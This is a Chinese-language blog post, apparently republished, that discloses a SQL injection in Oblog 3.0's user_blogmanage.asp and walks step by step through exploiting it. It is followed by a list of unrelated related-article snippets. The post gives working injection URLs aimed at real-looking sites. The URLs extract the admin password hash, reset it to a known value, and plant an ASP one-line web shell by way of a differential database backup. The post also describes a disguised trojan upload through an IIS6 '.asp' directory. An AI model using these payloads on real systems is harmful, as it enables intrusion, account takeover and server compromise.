O-blog漏洞暴光_漏洞研究

ps:郁闷纳,一个整形变量,为什么不做一强制转换呢! 

     看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码: 

sub moveblog() 

if id="" then 

Oblog.adderrstr("请指定要移动的日志") 

Oblog.showusererr 

exit sub 

end if 

dim subjectid 

subjectid=trim(request("subject")) 

if subjectid="" then 

Oblog.adderrstr("请指定要移动的目标专题") 

Oblog.showusererr 

exit sub 

else 

subjectid=Clng(subjectid) 

end if 

if instr(id,",")>0 then 

‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条 

id=replace(id," ","") 

sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql 

‘否则执行这个sql语句,设为第二条。 

else 

sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql 

end if 

Oblog.Execute sql 

dim blog,rs1 

set blog=new class_blog 

blog.userid=Oblog.logined_uid 

blog.update_allsubjectid() 

blog.update_index_subject 0,0,0,"" 

set blog=nothing 

set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid) 

while not rs.eof 

set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0)) 

Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog_subject.subjectid="&rs(0)) 

rs.movenext 

wend 

set rs=nothing 

set rs1=nothing 

Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!","" 

end sub 

再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下: 

public function filt_badstr(str) 

If Isnull(Str) Then 

filt_badstr = "" 

Exit Function  

End If 

Str = Replace(Str,Chr(0),"") 

filt_badstr = Replace(Str,"'","''") 

end function 

只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”'”,否则不会成功的。 

以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探: 

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 

http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。 

嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧: 

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者 

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e))-- 

其中char(0x61)%2Bchar(0x64)%2Bchar(0x6d)%2Bchar(0x69)%2Bchar(0x6e)是对提交的admin使用char函数的编码。返回结果。 

我们先记下这个加密的字符串,在恢复管理员密码的时候需要再次使用。修改后台管理员的密码: 

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1;update [Oblog_admin] set password= char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)%2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63)%2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) where id=1-- 

其中的char(0x34)%2Bchar(0x36)%2Bchar(0x39)%2Bchar(0x65)% 2Bchar(0x38)%2Bchar(0x30)%2Bchar(0x64)%2Bchar(0x33)%2Bchar(0x32)%2Bchar(0x63) %2Bchar(0x30)%2Bchar(0x35)%2Bchar(0x35)%2Bchar(0x39)%2Bchar(0x66)%2Bchar(0x38) 是469e80d32c0559f8字符串的编码,469e80d32c0559f8对应的md5明文为admin888,对字符串的编码可以使用如下的工具。 

当然大家也一定都有比着更好的工具。这样我们就将后台id为1的管理员的密码修改为admin888了,注意id为1的管理员对应的账号默认为admin如果你不确定,可以使用如下的语句查看: 

http://www.target.com/user_blogmanage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)— 

修改完毕,登录一下后台看看是否成功修改管理员密码。good,我们已经拿到了后台管理权限了,爽哉。不要高兴的太早了,虽然我们进入了后台但是SQL版本不同于Access版本,前期两位大侠介绍的通过备份数据库获取WebShell的方法在SQL版本上是行不通的,看看 admin_database.asp的如下代码大家就明白了: 

dim dbpath 

dim ObjInstalled 

if not IsObject(conn) then link_database 

if is_sqldata=0 then dbpath=server.mappath(db) 

如果使用的是Access版本才初始化dbpath参数的。 

在这里我给大家介绍几种SQL版本获取WebShell的方法。 

先说说第一种比较通用的方法吧,利用SQL SERVER的特性,方法有通过xp_cmdshell,利用OLE对象接口,利用sp_makeWebtask,通过增量备份等等的方法。利用这些方法的一个必要的条件:Web物理路径我们可以从后台的管理首页中轻松获取。关于具体注入语句大家可以参看uploadshell.exe中的相关代码。在实现中注意处理掉其中的单引号。程序可以自动获取IE中的cookie信息。故无须填写cookie信息。 

关于利用后台功能上传shell,确实把我难为了半天,想得头都大了,刚开始方法是天使娃娃他们的想法是一样的添加个shtm上传文件类型,将conn.asp包含进去,这样只能看到数据库连接信息,如果对方装有防火墙或者权限不很高的话也不能获取shell,后来就想出添加aaspsp/和asp/上传文件类型,这样通过修改数据包提示上传成功,但是却没有真的上传成功了,很是郁闷。假期期间,也没有那么多时间去查找原因了,这时候忽然看到了在后台可以设置用户目录的,这时候突然记得网上曾经流传着对于windows2003系统和IIS6.0假设的Web平台有个特性,就是**.asp虚拟目录下的任何扩展名的文件都会被作为asp文件被解释执行的,想到这里差点兴奋的跳起来,嘿嘿。请看操作:在后台常规设置|用户目录管理中新建一个**.asp的目录。并将这个目录设置成为默认的目录,如上图所示。然后到网站去注册一个新的用户,然后进入管理中心,选择相册,上传一个asp木马的假gif文件。这样当我们访问这个gif文件的时候IIS会将此文件作为asp文件解析,我在本机使用Access版本做了测试发现能够把文件上传上去。但是在对SQL版本测试时发现并不能正确上传文件到这个目录的,出现如下的错误信息: 

ADODB.Stream 错误 '800a0bbc'  

写入文件失败。  

/inc/Upload.inc,行 312  

虽然不能成功,但这却是我们后台上传木马的好方法,因为大部分asp整站程序在后台都允许后台修改上传目录的,比如动易系统等。没办法,我们只能使用第一种方法了,开工。 

第一步: 

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000);select @a=db_name();select @s=0x77006F006B0061006F002E00620061006B00;backup database @a to disk=@s-- 

注意了,在语句中一定不能含有单引号的, 

第二步: 

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;create table [dbo].[llikz] ([cmd] [image])— 

第三步: 

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;insert into llikz(cmd) values(0x3C25657865637574652872657175657374282261222929253E)— 

注意其中0x3C25657865637574652872657175657374282261222929253E为 

第四步: 

http://www.ucblog.com/user_blogmanage.asp?action=Move&subject=1&id=1;declare @a sysname;declare @s nvarchar(4000) select @a=db_name();select @s=0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000;backup database @a to disk=@s WITH DIFFERENTIAL— 

其中的 0x66003a005c0062006c006f00670032003000300035005c0062006c006f0067007300650072007600650072005c006c006c0069006b007a002e00610073007000 是在后台得到的Web的物理路径。 

利用增量备份只需要public的权限,应该是OBLOG 3.0 SQL版本拿WebShell的最好方法了。如果你感觉操作很复杂,那就不需要上传WebShell了,进后台把自己的账号修改为VIP用户,或者将上传空间修改为100000000KB,把blog当作一个网络优盘也不错的,呵呵。由于Oblog在互联网上的风靡,漏洞危害性很大,大家不要乱搞破坏哦。  

时间: 2024-10-24 12:16:14

O-blog漏洞暴光_漏洞研究的相关文章

网站程序中非SI漏洞的利用_漏洞研究

Part I 前言  现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者.  非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的.  Part II 方法介绍  常规的非SI类攻击有如下几种:  一. 跨站脚本攻击(XSS)  跨站脚本攻击不会直接对网站服务

IIS漏洞整理大全_漏洞研究

去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下.  1.介绍  这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的.如果想方便一些,下载一些WWW.CGI扫描器来辅助检查.  而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:  telnet <目标机> 80  GET HEAD / HTTP/1.0  就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81

BBSXP漏洞再探究_漏洞研究

注本文已发表在<黑客X档案>2005年6期版权归其所有转载请保持文章完整性并注明版权 最近BBSXP论坛可以说是一点都不平静.漏洞一个接一个暴出来.上次对showforum.asp这个文件的漏洞分析过后没多久又暴出blog.asp存在漏洞.于是俺这个菜鸟的心再不能平静了不要每次都等着人家给我们找漏洞咱自己也来分析一把看看. 首先我们回顾一下showforum.asp中的漏洞还记得order变量是经过了HTMLncode过滤了以后才放到SQL语句中去执行的.再来看看blog.asp中出漏洞的地方

BBSXP5.15最新漏洞精简版_漏洞研究

首先打开www.google.com在输入Po......bBsxp5.15有很多这样的论坛,随便点个,好就这个bbs.yuntea.com 真幸运,这个站还没打上补丁,一口做气杀到底,bbsxp5.15最新漏洞 ,漏洞主要出在BLOG.ASP 可以让直接构造数据库命令     blog.asp?id=1%20union%20select%20top%201%201,[adminpassword],1,1,1,1,1%20from%20[clubconfig]    后台区长的md5密码就显示出

phpBB 2.0.13惊现漏洞的解决_漏洞研究

一.Path Disclosure  漏洞文件/db/oracle.php 漏洞描叙直接访问oracle.php导致暴露web路径 涉及版本phpbb <=2.013 测试ie提交http://127.0.0.1/phpBB2/db/oracle.php 返回错误 Fatal error: Cannot redeclare sql_nextid() in f:\easyphp1-7\www\phpbb2\db\oracle.php on line 405 解决办法 如果你不是采用的oracle数

如何对PHP程序中的常见漏洞进行攻击_漏洞研究

[库文件] 正如我们前面讨论的那样include()和require()主要是为了支持代码库因为我们一般是把一些经常使用的函数放到一个独立的文件中这个独立的文件就是代码库当需要使用其中的函数时我们只要把这个代码库包含到当前的文件中就可以了. 最初人们开发和发布PHP程序的时候为了区别代码库和主程序代码一般是为代码库文件设置一个".inc"的扩展名但是他们很快发现这是一个错误因为这样的文件无法被PHP解释器正确解析为PHP代码.如果我们直接请求服务器上的这种文件时我们就会得到该文件的源代

某省高考志愿填报系统的漏洞实战解说_漏洞研究

编按:教育系统高考--,网上填志愿方便了广大考生,但是安全上的疏忽与漏洞也能增加很多不必要的麻烦,在此提醒教育工作者,安全第一.  某省今年高考志愿填报实行网上填报,在模拟填报演练时本说是全部实行在互联网填报的,但因为演练时突然访问量过大,导致网速N慢,甚至被正常的访问弄得拒绝服务.我狂汗!后来上面考虑到这个问题就只在两个市实行网上志愿填报,其他的由局域网填报后同意上报.在演练的时候我就不放心这个系统的安全性了,但当时没能找出什么漏洞.后来我听说我处的市是两个在互联网填报的市之一,最近在填报过程

小议yxbbs漏洞利用代码_漏洞研究

1.任意文件下载漏洞. 漏洞文件: ViewFile.asp Function ChkFile(FileName)  Dim Temp,FileType,F  ChkFile=false  FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))  Temp="|asp|aspx|cgi|php|cdx|cer|asa|"  If Instr(Temp,"|&quo

利用FTP服务器的漏洞找肉鸡_漏洞研究

   1.扫描并确定目标   俗话说的好,欲速则不达,要想在最短的时间内百发百中得到大量肉鸡.必须先确定存在FTP服务的主机,这通过扫描来完成  FTPSCAN是一款命令行下的FTP弱口令扫描指定的IP网段中快速扫描存在FTP弱口令的主机,速度和身材都是一级棒.用法也很简单!  步骤1:进入DOS命令行然后转到保存ftpscan的路径下 输入扫描命令:ftpscan.exe 218.109.2.1-218.109.2.255 200 IP段可以自己找  即以200的线程数扫描网段,218.109